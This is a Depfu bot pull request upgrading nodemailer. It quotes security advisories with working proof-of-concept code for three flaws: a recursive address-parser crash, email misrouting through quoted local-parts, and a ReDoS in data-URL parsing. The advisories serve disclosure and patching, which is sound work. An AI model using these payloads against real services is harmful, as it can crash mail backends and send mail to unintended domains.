Skip to content

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Dec 1, 2025


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nodemailer (6.7.5 → 7.0.11) · Repo · Changelog

Security Advisories 🚨

🚨 Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: [email protected];

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(g${i}:);
}
return parts.join(' ') + ' [email protected];';
}

const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
{
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

🚨 Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});

let mailOptions = {
from: '"Test Sender" <[email protected]>',
to: ""[email protected] x"@internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);

});

(async () => {
const parser = await import("@sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}

console.log("Parsed email:", {
address: ${parsed.localPart}@${parsed.domain},
local: parsed.localPart,
domain: parsed.domain,
});
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"[email protected] x"@internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}

But the email is sent to [email protected]

Image

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

🚨 nodemailer ReDoS when trying to send a specially crafted email

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

This change is Reviewable

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant